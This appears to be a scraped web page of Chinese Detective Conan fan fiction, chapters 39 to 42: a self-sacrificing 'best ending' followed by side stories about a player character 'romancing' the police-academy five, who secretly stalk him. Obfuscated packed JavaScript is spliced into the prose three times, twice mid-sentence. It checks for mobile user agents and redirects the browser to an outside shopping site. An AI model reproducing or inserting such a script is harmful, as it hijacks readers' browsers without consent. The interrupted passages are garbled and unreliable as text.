在每一段被遗忘的时光里,他们不约而同地走向那位伟大存在,用来世换取今生,用约定换取重逢——无论谁先醒来,他们都要拯救彼此,从世界的彼岸带所爱之人回到此岸。 于是世界线收束,他们打出了本不可能存在的完美结局,每个人都有自己的Happy Ending。 不是因为什么奇迹。是因为他们谁都没有放手。是因为在森川海遗忘一切的时候,有人替他记得;在他独自战斗的时候,有人早已为他铺好了回家的路。 组织覆灭的消息传来时,森川海正站在休息室的落地窗前,看着一架飞机划破东京灰蓝色的天空。诸伏景光从身后走来,将一个热乎乎的可丽饼塞进他手里——草莓味的,和很多年前警校的夏天一模一样。 “FBI那边来消息了,”诸伏景光说,“宫野姐妹已经安顿好,和赤井一家住在一起。明美说下次要请你吃饭,感谢你把她们从那个地狱里捞出来。” 森川海咬了一口可丽饼,含糊不清道:“谢什么谢,都一家人——hiro你怎么打我!” “还不是你活该。”降谷零推门进来,难得没穿西装,一件简单的白T恤让他看起来年轻了十岁,他把手机扔在桌上,“贝尔摩德那边交接完了,她会被引渡到美国,污点证人的程序走得很顺利。至于琴酒——” 降谷零顿了顿,嘴角微微扬起一个弧度:“跑得够快,但总有一天……” 森川海:“打起来打起来——zero你怎么也打我!” 萩原研二和松田阵平在门口斗嘴,一个说要去吃拉面,一个说要去喝酒。伊达航靠在墙边看他们闹,手机屏幕上是他和娜塔莉的婚纱照。 阳光从窗户倾泻进来,落在每个人身上。 森川海看着他们,忽然笑了。 他想起来了一切。想起来自己是如何成为调查员,想起来自己是如何在遗忘中前行,想起来那些藏在时间褶皱里的约定——原来他们早就说好了,无论多少次轮回都要找到彼此,都要把对方从深渊里拉出来。 这是本不可能存在的happy ending。 是无数条世界线里,唯一一个所有人都在的结局。 【获得成就:】 【Our Best End】 【评价S:恭喜你,这是隐藏结局,游戏获得了胜利。】 【还想进行下一局吗?】 【是/否】 【是】 【确认选择】 【游戏加载中】 39.Our Best Ending 森川海停下脚步。 罅隙里的光还是那样,灰白色的一片,没有尽头也没有起点。他站在那儿,不知道站了多久,也不知道还要站多久。 泡泡一个一个亮起来。 松田在电车里靠窗坐着,卷毛被风吹乱,手插在口袋里看窗外,他的侧脸很平静。 萩原在居酒屋的角落里,面前放着一杯酒,和旁边的人说着什么,笑着。 景光在煮咖啡,蒸汽升起来模糊了他的脸。窗外的阳光照进来,落在他身上,把整个人都照暖了。 零走在回家的路上,脚步不快不慢。黄昏的光从他身后照过来,把影子拉得很长。 航哥在便利店结账,手里拿着烟和一份便当。收银员说着什么,他点点头,嘴里叼着那根牙签。 琴酒站在安全屋的窗边,手里夹着烟看着窗外。 贝尔摩德牵着一个小女孩的手走在街上。 赤井秀一站在泰晤士河边,风吹起他的衣角。他望着河面,不知道在想什么。 宫野志保扑进姐姐怀里。 每一个世界都很好,每一个世界都不需要他了。 森川海看着那些泡泡,看了很久很久。 然后他低下头看自己的手。 如果这就是结局呢? 如果他真的做不到。如果所有的努力、所有的死亡、所有的读档重来,最后只能走到这里——看着他们活着,看着他们幸福,看着他们不再需要他。 如果真的存在这样的Happy Ending…… 那就是现在了。 那这就是最好的结局了。 他们已经活下来了。每一个世界每一个人都活得好好的,他们不需要他再做什么了,不需要他再去救也不需要他再去死,不需要他再去忘记然后想起来然后再次忘记。 他们只需要活着。 而森川海能给的,就是让自己消失。 不再是一个会被想起的人,不再是一个会影响他们的人,不再是一个会在他们心里留下痕迹的人。 这样,他们就能真正地、完整地、不被任何东西牵绊地活下去。 森川海伸出手,在那个半透明的界面上点了一下。 【检测到玩家意愿:永久注销所有时间线存在痕迹。】 【警告:此操作不可逆】 【是否确认】 森川海点了确认。 没有什么可犹豫的,他早就想好了。从跪在光里说“一切”的时候就想好了。他只是需要等这一刻,等他们真的活下来,等他们真的不需要他。 现在这一刻到了。 森川海张开手臂,像是一个拥抱。 真好啊,真好,他爱的那些人……我们终于重获自由。 然而在他闭上眼后,面前的系统疯狂弹出错误警告,红色的文字一行行刷屏,静默无声地宣告事情并非森川海所想的那样。 【执行中……】 【错误】 【错误】 【警告】 【警告】 【玩家存在痕迹已深度嵌入所有时间线,无法完全消除】 【执行替代方案】 森川海感到有什么东西从身体里撕裂开来。 不是痛,痛他太熟悉了。割喉的痛,枪击的痛,火烧的痛,溺水的痛,那些他都经历过无数次,但不是,是别的。 是更轻的东西,轻到像不存在,却又重到让他整个人都在颤抖。 他感到自己被撕开,从内部开始,从那些他以为自己早就丢掉的角落里。那些记忆,那些感情,那些在无数条时间线里堆积起来的东西——它们开始往外涌。 然后变成碎片。 每一片都很轻,很薄,像羽毛,像薄雾,像落在手心就会化的雪。 电车上,松田正在让座,站起身往旁边让了一步。那个被让座的老人道谢,松田点点头,坐回去。老人旁边站着一个人,穿着灰色的外套,没什么特别。 居酒屋里,萩原正在和旁边的人说话,笑着,声音很轻。旁边有个人在拼桌,不怎么说话,只是偶尔抬头看看窗外的夜色。萩原和他说了一句话,他点点头,继续喝酒。 咖啡馆里,景光煮好一杯咖啡,递给刚进来的客人。那个客人喝完就走了,连谢谢都没说。景光看着他的背影,愣了一下。 街道上,降谷零走着,一个人从他身边走过,擦肩而过。 便利店。伊达航排队结账,前面有一个人。那个人买完东西走了。伊达看着他的背影,好像想起什么,又什么也没想起来。 琴酒站在窗边抽烟,安全屋窗外有一个人影闪过。 贝尔摩德牵着一个孩子的手,孩子指着街对面说“妈妈那个人在看你”。贝尔摩德看过去,没发现有人。 赤井秀一站在泰晤士河边,远处有一个人慢慢走远,背影越来越模糊。赤井秀一看了一眼,收回目光。 宫野志保在对照购买清单,有人从她身后经过,带来一阵轻柔的像海的风。 碎片还在飞出去,一片又一片,落进那些泡泡里,变成那些不会被记住的人。变成那些擦肩而过的瞬间,对视一眼就移开的目光,还有永远不会被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259087|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起的面孔。 你是消失在他们过去的人,是琴酒早逝的前搭档,是警校里没有名字和外貌的同期,是赤井秀一年少一别再也没有相见的友人,是莎朗早已死去的唯一的女儿,是宫野志保印象模糊的抚养人。 你爱过他们也被他们爱过。 森川海站在那里,看着自己一点一点消散。那种感觉很轻,轻到像没有重量,从来没有存在过。 这样很好。 不会再有生死和别离,不会有痛苦和遗忘,他只用在每一个世界,在每一个角落,看着他们活着。不会被记住就不会被想念,不会被想起就不会有悲伤,我们将再次拥有爱和自由。 森川海闭上眼睛。 后来,那些人偶尔会做一些奇怪的梦。 梦里有一个模糊的影子,看不清脸但感觉很熟悉。那个人站在很远的地方,看着他们。没有走过来,没有说话,只是看着。 他们醒来的时候会愣一下。然后想不起来梦见了什么。 但那种感觉会留一会儿,很轻,像风吹过水面留下的涟漪。 …… 有一天早上,降谷零看见诸伏景光坐在餐桌前,手里捧着咖啡,眼睛下面有淡淡的青黑。 “hiro,没睡好?” 诸伏景光抬起头,看着他。那双蓝眼睛里有一点恍惚。 “嗯。”他说,“做了个梦。” “什么梦?” 诸伏景光想了想。 “想不起来了。”他说,“就记得……好像有个人。” “什么人?” “不知道。”诸伏景光低下头,看着手里的咖啡,“醒来就忘了,但总觉得好像忘了什么很重要的事。” 降谷零在他对面坐下,给自己也倒了一杯咖啡。 “我有时候也会。”他说,“半夜醒来,觉得刚才梦见了什么,但怎么都想不起来。” 诸伏景光抬起头,看着他。 “你也?” “嗯。” 两个人沉默了一会儿。 窗外有阳光照进来,落在地板上,把整个房间都照暖了。远处有车流的声音,有孩子在笑的声音,有普通的一天开始的声音。 诸伏景光站起来,走到窗边,看着外面。 “走吧。”他说,“今天不是约了松田他们吗?” 降谷零喝完最后一口咖啡,站起来。 “嗯。” 他们一起走出门,走进阳光里。 身后,那杯没喝完的咖啡还冒着淡淡的热气。 风吹过来,什么都没有。 40.040[番外] 森川海下载了一个攻略游戏。 事情要从三天前说起。他在应用商店里偶然刷到这个游戏,封面是五个穿着警服的年轻人站在樱花树下,阳光洒在他们身上,笑得很好看。游戏简介写得很简单:“体验警校生活,与未来的精英警察建立羁绊,共同成长。” 评论区一片好评。 “太感人了,玩到最后我哭了。” “这五个人值得被全世界温柔对待。” “攻略难度适中,剧情满分,强推。” 森川海看了看游戏,又看了看自己空荡荡的桌面,点了下载。 他喜欢攻略游戏。那种按部就班完成任务、一步步解锁剧情、最后打出完美结局的感觉,让他觉得很安心。现实太乱了,游戏里至少有一条清晰的路。 游戏加载的时候,他顺手搜了一下攻略,这是森川海的习惯。先看攻略再玩游戏,能少走很多弯路,节省时间。 搜索结果很多。有人整理了详细的角色资料—— 降谷零,公安王牌,后期卧底组织,核心攻略对象,建议优先刷好感。 诸伏景光,降谷零的幼驯染,同样卧底组织,温柔系角色,但攻略难度意外的高。 松田阵平,□□处理专家,嘴硬心软,后期会殉职,建议提前解锁隐藏剧情。 萩原研二,松田阵平的幼驯染,同样是□□处理专家,殉职时间更早,必须赶在十一月七日之前完成相关任务。 伊达航,班长,靠谱的老大哥,后期车祸殉职,支线剧情丰富。 森川海一边看一边记。 红方,都是红方。什么殉职什么提前完成任务,在玩家手里不可能有攻略对象死的——电子老婆的命也是命。反正森川海的目标就是让他们活下来,红方获胜。 森川海满意地合上攻略,点开游戏。 【请输入您的游戏ID:】 他想了想,敲下四个字—— 森川和也。 【欢迎进入警校篇,祝您游戏愉快。】 森川和也睁开眼。 阳光有点刺眼。他眨了眨,发现自己正站在一条林荫道上。路两边种满了樱花树,花瓣落在肩膀上,软软的,很轻。 周围有人走过。穿着和他一样的制服,应该是同期生。他低头看了看自己:白色衬衫,黑色裤子,胸口别着学员牌。上面写着:森川和也。 真不错,森川和也想。沉浸感很强。 森川和也按照攻略里写的,先找到了宿舍安顿好行李,然后开始熟悉环境。 食堂、训练场、教室、图书馆、小卖部。他一路走一路记,把地图刻在脑子里。 但是为什么NPC要看他? 正在翻越一栋矮墙的森川和也迷茫地戳戳NPC,NPC头上是大大的问号,避之不及一般跑开了。 什么意思?这游戏是不是歧视玩家! 森川和也愤愤地跳下楼。 玩家才不会在意NPC呢!攻略对象只有五个,其他人都不重要。这是他的游戏准则。 第一天就这样过去了。 晚上回到宿舍,森川和也掏出手机——游戏弹出被教官发现debuff的警告——开始刷攻略笔记。降谷零警惕性高,不能太刻意接近。诸伏景光对幼驯染有偏好,得想个法子同时攻略两个人。松田阵平讨厌警察,太好了玩家就是。萩原研二喜欢社交,好巧不巧玩家性别为男。伊达航是班长,表现得乖一点就行。 森川和也有点沉默。 “难度会不会有点高。”森川和也发出疑问,“能对谁下手啊?他们根本没破绽的。” 什么破绽? 玩家不知道,玩家在跟着警校组绝望地跑圈。 罪不及同期啊,鬼冢教官!森川和也试图唤醒一点教官爱,他只是一个无辜路人,为什么警校组受罚也要一起! 然后玩家喜提加训,在其他人嘲讽的目光中溜溜达达装作不在意地走开了。 说起来……游戏的难度好像有些高了。 森川和也起床洗漱时会发现自己的纸巾不见了,明明记得昨晚放了一包在桌上,新的,还没开封。可找了半天还是没有。他去食堂吃饭,端着餐盘找位置。周围的人看见他,自动往旁边让了让,像是不想跟他坐一起。森川和也没在意。NPC嘛,很正常。 可放在教室门外的雨伞会莫名消失,森川和也不止一次淋着雨在校园里翻墙。偷偷点的外卖总是被偷——死游戏连这点都要还原吗? 这事不对。 森川和也垂眸盯着手机,试图听清身边人的话。 “……那个新来的,怎么老是一个人?” “……怪胎……” “听说……每天盯着……看,变态……” 森川和也耳朵动了动。 哦,这是在说我?他有点意外。 但他转念一想,游戏里NPC本来就会对玩家有各种议论,这是沉浸感的一部分。挺好的,细节到位。 他没回头,继续走。 下午有课。 森川和也坐在教室靠后的位置,目光落在前排那几个人身上。 降谷零。金发,侧脸很冷,坐得笔直,谁也不看。 诸伏景光。黑发,坐在降谷零旁边,正在低头写什么,偶尔抬头和降谷零说句话。 松田阵平。卷毛,趴桌上睡觉,看起来完全没在听课。 萩原研二。半长发,坐在松田旁边,手里转着笔,笑眯眯地不知道在想什么。 伊达航。坐在另一边,叼着牙签,看起来很稳重的样子。 攻略对象五个都在。 森川和也看得很认真。 下课铃响了。他站起来,准备去“偶遇”一下。 刚走到过道,一个人从他身边擦过。 力道有点大。他被撞得往旁边踉跄了一步。 那个人回头看了他一眼,什么都没说,走了。 森川和也揉了揉肩膀。 游戏里的碰撞伤害还挺真实。他想。 他继续往前走。 走到降谷零和诸伏景光旁边的时候,他停下脚步,露出一个自认为很友善的笑容。 “降谷君,诸伏君,下午好。” 诸伏景光抬起头,看着他。 那双蓝眼睛弯起来,笑得很温柔。 “下午好,森川君。” 声音也很好听。温温柔柔的,像春天的风。但森川和也不知道为什么,心里有点发毛。那声音也太温柔了,温柔得让他想起某种软体动物。他甩甩头。一定是自己多想了,攻略里都写了,诸伏景光是个温柔的人,温柔的人就是这样。 他转向降谷零。 降谷零看着他。那双紫灰色的眼睛冷得能结冰: “有事?” 森川和也愣了一下:“没、没事,就是打个招呼——” “打完了?” “啊?” “打完了可以走了。” 降谷零收回目光,继续收拾东西,再没看他一眼。 森川和也站在原地,停了几秒。然后他默默转身,走了。 直到走出教室,森川和也才深吸一口气。 没事,他想。降谷零本来就是这个性格。攻略里写了,前期是这样的,后期慢慢就好了。 不对,这好像一个骗局啊! 熬过前三章就好了,坚持到第五集就好看了,游戏前期是这样的——然而所有的说辞都是骗人继续的幌子。 这游戏不会是刷的好评吧! 玩家狐疑地看了眼立绘,被攻略对象的脸安慰了些许,信心又回来了。 他们都长成这样了能有什么错!一定是玩家自己的问题! 森川和也继续往前走,准备去找松田阵平和萩原研二。 走廊拐角,他看见那两个人站在窗边。萩原研二靠在墙上,松田阵平站在他面前,两个人离得很近,近得有点过分。 森川和也走近几步,想打个招呼。 萩原先看见了他,抬起眼睛看了森川和也一眼。那一眼让森川和也停下了脚步。 这不是看陌生人的眼神,是另一种,像在看什么闯入领地的动物。 然后萩原研二笑了。他伸手搭在松田肩上,整个人往松田阵平身上靠了靠: “小阵平,有人来找你了。” 松田阵平转过头,皱着眉看着森川和也:“又是你。” “我……路过?”森川和也眨了眨眼。 “你天天路过。”松田阵平声音很冷,“食堂路过,训练场路过,教室路过,现在走廊也路过。” 森川和也被他说得一愣一愣的。 他天天路过?他数了? 萩原研二在旁边笑,笑声很轻,听起来有点让人不舒服。 “小阵平,别这么凶嘛。”他靠在松田身上,下巴搁在松田肩上,笑眯眯地看着森川和也,“人家可能真的只是路过呢。” 松田阵平没理他,往前走了一步站在森川和也面前。两个人离得很近,近到森川和也能看清他的睫毛。 “我不管你想干什么。”松田说,声音压得很低,“离远点。别多管闲事。” 森川和也看着他。 森川和也的眼睛很亮,不止是眼睛颜色的明亮,里面有他们看不懂的东西。 那或许是些美好的品质,又或许是一层很好的伪装,可不管是什么松田阵平都想不明白,正如他想不明白这个与他们格格不入的年轻人为什么要追着自己跑。 萩原研二会觉得很有意思,但松田阵平只想转身离开。 他是这样想的,便也这样做了。萩原跟上他的脚步,路过森川和也的时候,回头冲森川笑了笑,像什么没说出口的话。 森川和也站在原地,过了好一会儿才反应过来。 刚才松田离他那么近的时候,他闻见松田身上有一种味道。很淡,洗衣液的味道,混着一点别的什么。 森川和也说不上来是什么,但他发现自己心跳快了一点。 不对,森川和也想。这是游戏,游戏里的心跳加速算什么? 算他对美丽的纸片人老婆一见钟情了? …… 晚上回到宿舍,森川和也坐在床上发呆。 今天进展为零。降谷零不理他,诸伏景光笑得他发毛,松田阵平警告他,萩原研二笑得他更发毛。 建议诸伏景光和萩原研二面对面笑看谁能赢。 森川和也叹了口气,倒在床上。 明天去找伊达航吧,攻略里说班长最好说话。 不对,纸巾呢?他又放了一包新的,又没了。 森川和也盯着那张空桌子,怀疑桌子会吃纸。 然后他翻了个身闭上眼睛。算了,游戏里的小bug,很正常。 “他完全不在乎的吗?”萩原研二发出疑问。 “他完全不在乎的。”松田接住纸巾看了一眼,随手扔到一边。 “我很好奇。”萩原说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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森川和也决定明天多关注一下伊达航。 伊达航走进自己的房间,反手关上门,靠在门板上。 他低头看了看自己的外套。血迹已经干了,但颜色还是很明显。 刚才那个森川和也,站在那里,看着他的样子——那双眼睛里没有害怕,没有惊讶,只有一些奇怪的……困惑? 正常人看见血迹,第一反应应该是恐惧。就算不恐惧,也该有点反应。 那个孩子,什么反应都没有。 伊达航皱了皱眉。他把外套脱下来,扔进角落的袋子里,掏出手机,发了一条消息。 【那个新来的有问题。】 几秒钟后,手机震了一下。 【降谷零:早就注意到了。】 又一条。 【诸伏景光:他的东西呢?】 【萩原研二:在我这儿。】 【松田阵平:……变态。】 伊达航看着这些消息,嘴角弯了一下。 窗外,月亮被云遮住了。 他不知道的是,此刻森川和也正躺在床上,盯着天花板,也在想他。 “班长肯定是被组织盯上了。”森川和也自言自语,“得想办法帮他。” 他翻了个身,闭上眼睛。 明天要更努力才行。 再一次发现自己的外卖消失时,森川和也心里只剩下平静。他站在小卖部门口,看着那张空荡荡的桌子,叹了口气。 算了。 反正不是第一次了。虽然不知道死游戏为什么连大学生外卖被偷这种细节都要做出来,但存在即合理这件事一定是有意义的——太诡异了,旮旯给木里为什么会丢外卖啊! 于是转身向食堂走去。 他不知道的是,此刻五个人正围坐在另一间宿舍里,面前摆着他的外卖。 “你是人吗?”松田阵平问。 “炸鸡。”萩原拿起一块,咬了一口,“还行。” “你吃他的东西不怕有毒?” “他敢吗?”萩原笑。 “他的东西消失的频率,比正常人应该有的频率高太多了。”诸伏景光说,“就算是霸凌……” 霸凌为什么要偷人外卖啊,直接要不行吗?这也太low了吧。 降谷零看着他。 “你是说他故意?” “不。”诸伏景光摇头,“他是真的没反应。就像——” 他犹豫了片刻。 “就像他觉得这些事很正常。” “我拿了他的笔记本。”松田说——萩原研二开始嚷嚷什么小阵平拿的东西可比我过分多了,松田阵平没理他——“翻了一遍,里面记的全是我们的事。几点起床,几点吃饭,喜欢吃什么,不喜欢什么——” 松田阵平顿了顿:“像在写攻略。” 降谷零沉默了一会儿。 “他在观察我们。” “不。”诸伏景光说,“他在攻略我们。” 这个说法让所有人安静了。 攻略。 这个人不在乎其他人其他事,行为有时诡异的像撞鬼了,没有人能理解他的逻辑。可如果他把这一切看作游戏呢?一切好像都合理了。 因为是游戏,所以不需要在意多余的人,因为是游戏所以可以随心所欲,因为是游戏—— 伊达航靠在墙上,叼着牙签。 “所以他到底在想什么?” 没人能回答。 41.041[番外] 森川和也就这样一无所知地度过了警校生活。 六个月的时间说长不长,说短不短。他按部就班地完成训练、应付考试,按部就班地执行他的“攻略计划”——虽然进度惨淡,但他并不着急。 游戏嘛,本来就需要慢慢玩。 他不知道的是,在这两年半里,他的“异常”早就被那五个人反复研究过无数遍。 监控他的行动轨迹,记录他的日常习惯,分析他的每一句话——五个人几乎把他的底细翻了个底朝天。 但什么都没翻出来。 森川和也就是个普通人。普通的家庭背景,普通的成长经历,普通的不能再普通。唯一不普通的是—— 他看他们的眼神。 那眼神里没有恐惧,没有防备,没有任何正常人面对他们时该有的东西。只有一种奇怪的热切,像在期待什么。 “他到底在看什么?”松田阵平皱着眉,翻着厚厚一摞观察记录。 萩原研二靠在旁边,笑眯眯地说:“看我们呀。” “废话。” “不只是看。”诸伏景光开口,声音很轻,“是……像是在等我们给他什么。” “给他什么?”降谷零抬眼。 “不知道。”诸伏景光摇头,“但他肯定在等。” 伊达航叼着牙签,沉默了很久。 “继续观察。”他说。 于是观察继续。 森川和也对此一无所知。 他只知道这个世界对玩家的恶意真的很大,他的纸巾依然会消失,外卖依然会不见,玩家就像下雨天遇见小情侣的狗被路过的NPC踹了一脚又一脚,偶尔放在桌上的笔记本会莫名其妙跑到别的地方。 所有的成绩都勉强卡在中间,就算读档也刷不出来好的初始状态,拼尽全力也只能摸到警校组平均数的尾巴——不是森川和也不想出人头地,但努努力真的会人头落地。 森川和也习惯了。 游戏bug嘛,有什么办法。他甚至开始觉得这挺有意思的——就像隐藏玩法,给平淡的日常加点调味料。 ……不要被游戏PUA了啊玩家! 森川和也痛彻心扉地谴责自己,谴责完又去打招呼刷警校组好感。他不知道的是,那些消失的东西,此刻正堆在某间宿舍的角落里,被五个人以各种理由保管着。 “你为什么还留着这包纸巾?”松田阵平皱眉看着萩原。 “收集癖。”萩原研二笑。 “变态。” “你留着那个笔记本怎么说?” 松田沉默了。 诸伏景光在旁边轻轻笑了一声。 毕业的日子来得很快。 樱花落了又开开了又落,森川和也本以为自己会被安排到搜查一课之类的地方,谁曾想鬼冢教官把他叫到办公室,塞给他一份公安的邀请函。 是公安耶! 森川和也的心猛地跳了一下。 公安部,攻略里说的降谷零所在的地方,未来卧底的起点,接近正义核心的最佳路径。 谁说玩家不行的?玩家可太行了! 森川和也深吸一口气,努力压住嘴角的笑。 成功了,他想。果然按攻略走是对的。 “他笑了。”萩原研二说。 “嗯。”诸伏景光点头。 “这家伙到底在高兴什么?”松田皱眉。 降谷零没说话。他只是看着那个背影,看着那个因为分到公安部而开心得压不住嘴角的人。 公安部是什么地方,他们比任何人都清楚。那个地方可不是什么“正义的核心”,是整个系统里最黑、最脏、最深不见底的角落。 他为什么会因为分到那种地方而开心? 降谷零想不明白。 但他发现自己心里有什么东西动了一下。 只是一下。 森川和也开始了他的公安生涯。 第一天报到,他被领进一间办公室。房间不大,光线昏暗,窗户被厚重的窗帘遮住一半。几个穿着便装的人坐在里面,有的在翻文件,有的在打电话,有的在低声交谈。 没人抬头看他。 带他来的人把他领到一个空位前,说了句“你的”,然后就走了。 森川和也坐下,开始等。 等了一天,没人理他。 快进。 第二天,还是没人理他。 NPC呢?怎么不来发任务? 玩家果断skip掉空白剧情。 第三天,终于有人递给他一份文件。 “新来的?”那个人问,上下打量着他。 森川和也点头。 “行。”那个人说,“把这个送去三楼,。” 森川和也接过文件。 他不知道的是,那份文件里装的是一个“证人”的地址。 那个证人第二天就失踪了。 第四天,森川和也被叫去开会。 会议室里坐着几个人,其中一个他认识——他名义上的直属上司,发任务不给奖励的混蛋。 “森川是吧?”混蛋看着他笑了笑,“来了几天了,感觉怎么样?” 森川和也想了想:“还好。” “好。”混蛋点头,“那今天给你个任务。” 他递过来一张照片,照片上是一个中年男人,穿着西装,看起来像个普通上班族。 “这个人,盯着。”混蛋说,“每天几点出门,几点回家,见什么人,去哪吃饭,都记下来。” 森川和也接过照片:“他是什么人?” 混蛋看了他一眼。 “不该问的别问。” 果然是混蛋。 森川和也闭嘴了。 他开始执行第一个任务。 跟踪,记录,拍照,写报告。一周后,他把报告交上去。 又一周后,那个男人失踪了。 森川和也看见新闻的时候,愣了一下。新闻里说,那个男人涉嫌贪污,畏罪潜逃。 他没多想。 任务越来越多。 监视某些人,收集某些人的把柄,协助某些不便公开的行动。森川和也渐渐习惯了这些,也按着习惯把一切做到最好。 警校时做不到的事现在他可以轻易完成,警校时迟迟没有到来的奖励终于穿过时间,但森川和也发现他没那么开心——森川和也是为了警校组存在的,没有他们的游戏就像空中楼阁,再美丽也留不住玩家。 森川和也到底在做什么? 每一次接到任务,他都告诉自己:这是必要的恶。 公安有公安的做事方式。他们接触的是最黑暗的东西,自然要用最黑暗的手段。只要能保护更多的人,这些牺牲是值得的。 攻略里是这么写的。 降谷零以后会卧底组织,会经历无数危险,会做很多不得已的事。现在自己做的这些,和他以后要做的比起来,根本不算什么。 森川和也这样想着,继续执行任务。 他不知道的是,那些他监视的人,那些他收集把柄的人,那些“失踪”的人——都是无辜的。 他们只是挡了某些人的路。 而他自己正在成为那条路上的铺路石。 降谷零第一次注意到森川和也的信任,是在一个很普通的下午。 他在公安部的大楼里偶遇了森川和也。那个人刚从某个办公室出来,手里拿着一份文件,低着头走得很专注。 “降谷君!”看见他,森川和也的眼睛亮了。 降谷零停下脚步,看着他。 “有事?” “没事!”森川和也笑着,“就是看见你,打个招呼。” 然后他就走了。 降谷零站在原地,看着那个背影消失在走廊尽头,想起这两年里对这个人的所有观察。 那些消失的纸巾,被拿走的外卖,在他们刻意的引导下充满恶意的世界,被排挤、被打压,拼尽全力做到最好也得不到应有的奖励……那些他们五个人轮流试探、他却毫无反应的瞬间——他明明应该察觉不对劲的。 但森川和也没有。 他不仅没有察觉,还一直在靠近他们。 不是小心翼翼的靠近,不是讨好或者恐惧,不是出于利益或者有什么目的,只是坦然的、没有防备的、像靠近熟人一样。 为什么? 降谷零想不明白。 他只知道,每次那个人看见自己的时候,眼睛都会亮一下。那光亮得很干净,干净得像什么都不知道——森川和也确实什么都不知道。降谷零忽然有点好奇,如果森川和也知道了一切,那光明是会熄灭还是燃烧殆尽。 这个念头只存在了一秒。 又过了几个月。 森川和也接到一个任务。 不是之前的监视或者收集把柄,是协助。 “协助清道夫处理一个证人。”上司说,“今晚八点东区仓库,你只需要在场,其他的不用管。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300004|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 森川和也愣了一下:“清道夫?” “松田阵平和萩原研二,你应该认识。”上司看了他一眼。 森川和也的心跳快了一拍。 认识,当然认识。攻略对象,两年半了,好感度才刚刚及格的攻略对象。 怎么背着玩家混这么好! 晚上八点,东区仓库。 森川和也提前到了。仓库很大,堆满了废弃的木箱和生锈的机械。昏暗的灯光从高处照下来,在地上投下一片片阴影。 他站在门口等。八点整,有人来了。 两道人影从夜色里走出来。一个卷毛,一个半长发。穿着便装,双手插在口袋里,走得很随意。 萩原看见他,笑了: “哎呀,小森川也在?” 松田没说话,只是看了他一眼。 森川和也很积极地点头:“我来帮忙的。” “帮忙。”萩原研二重复了一遍,语气有点奇怪,“行,那就帮忙吧。” 他们走进仓库深处。 那里跪着一个人。 中年男人,穿着皱巴巴的衬衫,手脚被绑着,嘴被胶带封住。他看见来人,开始剧烈挣扎,喉咙里发出呜呜的声音。 森川和也停下脚步。 这是他第一次见到被处理的人。 松田阵平走过去,在那个男人面前蹲下。他什么都没说,只是看着那个男人的眼睛。 那个男人的挣扎更剧烈了。 萩原研二靠在旁边的木箱上,笑眯眯地看着这一切。 “小阵平,快点,我饿了。” 松田没理他。他站起来,转过身,看着森川和也。 “你来。”他说。 森川和也愣住了。 “什么?” “动手。”松田说,“你来还是我们来?” 森川和也站在原地,脑子里一片空白。 他看看松田,又看看那个跪在地上的人,又看看萩原。 萩原走过来,拍了拍他的肩。那只手搭在他肩上,温度透过衣服的布料顺着神经末梢传入大脑,显得有些沉重。 “开玩笑的。”萩原笑着说,“这种事我们来做就好。你新来的,慢慢适应。” 他收回手,和松田一起走向那个人。 森川和也站在原地,没有动。 他听见身后传来闷响。 一声。两声。三声。 然后安静了。 一切都沉寂下来——风声、呼吸声、衣服摩擦的细微声响,所有的一切都消失在这个盛夏的尾巴里。森川和也背对着他们,闻见逐渐升腾的血腥味,眼前的光亮的晃眼睛。 森川和也转过身。 那两个人已经走了,仓库里只剩下他一个人,和地上那团不再动的黑影。 森川和也站在那里,手心全是冷汗。 他告诉自己:这是必要的恶。 他告诉自己:公安有自己的方式。 他告诉自己:以后会明白的。 ……可是真的吗? ……攻略是这么写的吗? 这两个人不应该去拆弹吗,为什么当了公安啊! 而且降谷零怎么还不去卧底! 森川和也不知道的是,仓库外面,松田和萩原并没有走远。他们站在阴影里,看着那个从仓库里走出来的身影。 “他站了好久啊。”萩原说。 “嗯。” “一般来说会吐吧……小森川也算是天赋异禀啦。” “你到底是在夸他还是骂他?”松田说。 萩原转过头,看着幼驯染。 “你觉得他是什么?” 松田沉默了一会儿。 “不知道。” 他想起刚才那个瞬间——那个人站在他们面前,被问到动手的时候,那双眼睛里的东西。 不是恐惧、不是厌恶、不是愤怒。 是茫然。 像一个迷路的孩子,被丢进一个他完全不懂的世界里。 松田忽然有点想知道,这个人到底在想什么。 萩原在旁边轻轻笑了一声。 “小阵平,你脸红了。” “滚。” 仓库里,森川和也还在怀疑人生。 一直以来,他从来没有怀疑过攻略和任务,可这真的对吗? 为什么世界对玩家有这么大的恶意,为什么故事在偏离主线,为什么—— “好感度还不提升?” 42.042[番外] 森川和也还是改不掉半夜起来晃悠的毛病。 警校的时候就这样,毕业了还是这样。舍友换过几个,从宿舍换到公寓,从公寓换到单身宿舍,换到最后没人愿意跟他住——倒不是嫌弃他,是受不了半夜一睁眼看见个人影在屋里飘。 森川和也对此毫无自觉。 他只觉得这是游戏设定。玩家嘛,总得有点特色。 降谷零第一次撞见他的时候,是在公安部大楼的地下停车场。 凌晨两点,降谷零刚处理完一些不便公开的事务,开车回来。车灯扫过停车场角落,照出一个人影。 那个人蹲在墙角,低着头,不知道在干什么。 降谷零的手按上枪柄。 